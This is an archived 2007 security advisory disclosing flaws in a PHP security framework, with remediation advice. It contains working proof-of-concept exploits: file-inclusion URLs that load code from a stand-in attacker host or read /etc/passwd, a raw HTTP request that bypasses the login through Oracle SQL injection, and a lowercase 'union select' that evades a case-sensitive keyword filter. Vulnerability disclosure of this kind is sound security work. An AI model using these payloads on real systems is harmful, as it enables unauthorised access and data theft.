Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: bx1102.htm

PHP Security Framework: Vuln and Security Bypass



PHP Security Framework: Vuln and Security Bypass
PHP Security Framework: Vuln and Security Bypass



       Title:   PHP Security Framework (Beta 1)=0D
                Multiple Vulnerabilities and Security Bypass=0D
=0D
Vendor: http://benjilenoob.66ghz.com/projects/=0D 
=0D
Advisory: http://acid-root.new.fr/?0:16=0D 
      Author:   DarkFig < gmdarkfig (at) gmail (dot) com >=0D
=0D
 Released on:   2007/12/16=0D
   Changelog:   2007/12/16=0D
=0D
     Summary:   [HT] Remote File Inclusion=0D
                [MT] SQL Injection=0D
                [MT] SQL Injection Protection Bypass=0D
                [__] Conclusion=0D
=0D
      Legend:   L - Low risk         M - Medium risk=0D
                H - High risk        T - Tested=0D
=0D
  Risk level:   High=0D
         CVE:   ----------=0D
=0D
=0D
=0D
  I - REMOTE FILE INCLUSION=0D
=0D
  The file "lib/base.inc.php" contains the following code:=0D
=0D
  10| include_once("$MODEL_DIR/FrameworkPage.class.php");=0D
  15| include_once("$COMMON_DIR/adodb/adodb-active-record.inc.php");=0D
  26| include_once("$DAO_DIR/Administrator.class.php");=0D
  35| include_once("$LOGIC_DIR/AdministratorLogic.class.php");=0D
=0D
  As you can see, all variables aren't sanatized before=0D
  being used. So this can lead to RFI if the php directives=0D
  allow_url_fopen and allow_url_include are set to On. This=0D
  can also lead to LFI if the php directive magic_quotes_gpc=0D
  is set to Off.=0D
=0D
  Proof Of Concept:=0D
http://localhost/PSF/lib/base.inc.php?MODEL_DIR=http://hacker.com/=0D 
http://localhost/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00=0D 
=0D
  The author shouldn't use variables for the inclusions, the=0D
  best way to protect against this type of vulnerability is=0D
  to use constants because they can't be registered by=0D
  register_globals if they're properly defined (no variables=0D
  used).=0D
=0D
=0D
=0D
  II - SQL INJECTION=0D
=0D
  The script supports several server databases, Oracle=0D
  included. So the script must also be secured for this type=0D
  of server database.=0D
=0D
  In a recent research that I have done, I found that=0D
  60% of the PHP scripts which support Oracle aren't safe !=0D
  People think that if they use the function addslashes()=0D
  on a string which has quotes, they'll be secured=0D
  against SQL Injection. On MySQL that's roughly true, but=0D
  on Oracle that's wrong.=0D
=0D
  The escape character for MySQL is a backslashes, \x92[\].=0D
  The escape character for Oracle is a single quote, \x39['].=0D
=0D
  The script has a user interface for the administrators.=0D
  The file "lib/control/AuthentificationController.class.php"=0D
  contains the following code:=0D
=0D
   4| public function __construct()=0D
   5| {=0D
   6| $FrameworkPage = FrameworkPage::getInstance();=0D
   7| $FrameworkPage->setHeadTitle("Authenfication Form");=0D
   8| $FrameworkPage->setPageTitle("PHPSecurityFramework");=0D
   9|         =0D
  10| if(isset($_REQUEST['username']) && isset($_REQUEST['password']))=0D
  11| $this->Login($_REQUEST['username'], $_REQUEST['password']);=0D
  12| }=0D
  13|     =0D
  14| public function Login($username, $password)=0D
  15| {=0D
  16| $username = addslashes($username);=0D
  17| $password = md5($password);=0D
  18| $AdministratorLogic = new AdministratorLogic();=0D
  19|         =0D
  20| if($AdministratorLogic->validateAdministrator($username,$password))=0D
  22| session_register('psf_admin');=0D
=0D
  The function addslashes() is applied to $username, after=0D
  the function valideAdministrator() is called with two=0D
  parameters. This function contains the following code:=0D
=0D
  10| public function validateAdministrator($username, $password)=0D
  11| {=0D
  12| if(is_string($username) && is_string($password))=0D
  13| {=0D
  14| $Admin = new Administrator();=0D
  15| =0D
  16| if( ($Admin->load("username=?", array($username))) !==false)=0D
  17| {=0D
  18| 	if($Admin->md5password==$password)=0D
  19| 		return true;=0D
=0D
  The code for the Administrator class is situated in the=0D
  file "lib/dao/Administrator.class.php":=0D
=0D
  2| class Administrator extends ADOdb_Active_Record=0D
  3| {=0D
  4| 	public $_table = 'psf_administrator';=0D
  5| }=0D
=0D
  The function load() contains this code (situated in=0D
  "lib/common/adodb/adodb-active-record.inc.php"):=0D
=0D
  384| 	function Load($where,$bindarr=false)=0D
  385| 	{=0D
  386| 	$db =& $this->DB(); if (!$db) return false;=0D
  387| 	$this->_where = $where;=0D
  388| 	=0D
  389| 	$save = $db->SetFetchMode(ADODB_FETCH_NUM);=0D
  390| 	$row = $db->GetRow("select * from ".$this->_table.' WHERE '.$where,$bindarr);=0D
  391| 	$db->SetFetchMode($save);=0D
  392| 		=0D
  393| 	return $this->Set($row);=0D
  394| 	}=0D
=0D
  I will take an example to explain how it works.=0D
  Let's send this HTTP packet:=0D
=0D
  POST /PSF/index.php?page=authentification HTTP/1.1\r\n=0D
  Host: localhost\r\n=0D
  Connection: keep-alive\r\n=0D
  Content-Type: application/x-www-form-urlencoded\r\n=0D
  Content-Length: 66\r\n\r\n=0D
  username=root%27&password=toor&page=authentification&button=Log+in\r\n\r\n=0D
=0D
  The SQL request will be like this:=0D
  select * from psf_administrator WHERE username='root\\\\\\\\\\\\\\\''=0D
=0D
  If we're on MySQL there's no problem, but if we're on=0D
  Oracle, this return an error: ORA-01756: quoted string=0D
  not properly terminated. This can be exploited, for =0D
  example if you want to bypass the authentification=0D
  protection, send the following HTTP packet:=0D
=0D
  POST /PSF/index.php?page=authentification HTTP/1.1\r\n=0D
  Host: localhost\r\n=0D
  Connection: keep-alive\r\n=0D
  Content-Type: application/x-www-form-urlencoded\r\n=0D
  Content-Length: \r\n\r\n=0D
  username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29=0D
  %2CCHR%2857%29+FROM+psf_administrator-----------&password=9&page=a=0D
  uthentification&button=Log+in\r\n\r\n=0D
=0D
  The SQL request will look's like this:=0D
  select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'=0D
  union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administr=0D
  ator-----------'=0D
=0D
  So the function validateAdministrator() will return TRUE.=0D
  The protection will be bypassed, even if magic_quotes_gpc=0D
  is enabled. To protect against SQL Injection with quotes=0D
  on Oracle servers, we must replace each ' by ''. We can=0D
  do that with str_replace() or by enabling the PHP=0D
  directive magic_quotes_sybase.=0D
  =0D
=0D
=0D
  III - SQL INJECTION PROTECTION BYPASS=0D
=0D
  From the file "lib/common/SecureHttpRequest.class.php":=0D
=0D
   94| * Function: PreventFromSqlInjection()=0D
   95| * $param:  $string_to_parse=0D
   96| * =0D
   97| * This function prevent from some sql injection that does=0D
   98| * not require any quote.=0D
   99| * Exemple: index.php?id=1 UNION SELECT user, password ...=0D
  100| * =0D
  101| * It will return a secure string.=0D
=0D
  By seeing this comment and how the function is called, I=0D
  know that they'll be a filter against SQL Injections.=0D
  Let's see how the string is secured:=0D
=0D
  105| if(is_string($string_to_parse) and !empty($string_to_parse))=0D
  106| {=0D
  111| 	  $keywords ==0D
     |    array('UNION','OUTFILE','DUMPFILE','ORDER','SELECT');=0D
     |=0D
  112| 	  foreach($keywords as $keyword)=0D
     |=0D
  113| 	  $string_to_parse ==0D
     |    str_replace($keyword, "_$keyword", $string_to_parse);=0D
  114| 		=0D
  115| 	  return $string_to_parse;=0D
  116| }=0D
=0D
  The str_replace() function is case sensitive, so we can=0D
  bypass this protection by using SQL commands with lower=0D
  case. In other case the attacker doesn't need these commands=0D
  to perform an SQL Injection attack, a filter protection=0D
  can't protect completely against this type of attack.=0D
  Let's take the example from the file "examples/noQuoteSql=0D
  Injection.test.php":=0D
=0D
   1| Try some UNION and co stuff to display the administrator=0D
    | password in the client table=0D
   2| 
=0D 3| =0D =0D What if we try to send this content:=0D ?id=-1 union select username,password from client limit 1=0D =0D The protection is bypassed and the SQL Injection is=0D exploited. If the author wanna apply his filter=0D completely, he must use the function str_ireplace().=0D =0D =0D =0D IV - CONCLUSION=0D =0D The goal of the project is interesting, but how it was=0D made, can't conduct to its success. For example,=0D SQL Injections with quotes are protected by doing the=0D same thing as magic_quotes_gpc, this didn't resolve its=0D problems.=0D =0D Before doing something which depends on what the user=0D has sent, we must analyze all data before using them.=0D =0D Applying a filter won't be enough, we must code=0D an algorithm which protects perfectly against each type=0D of attack, even if we have to replace basic functions.=0D =0D I hope this advisory will change the way this project=0D is going on.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH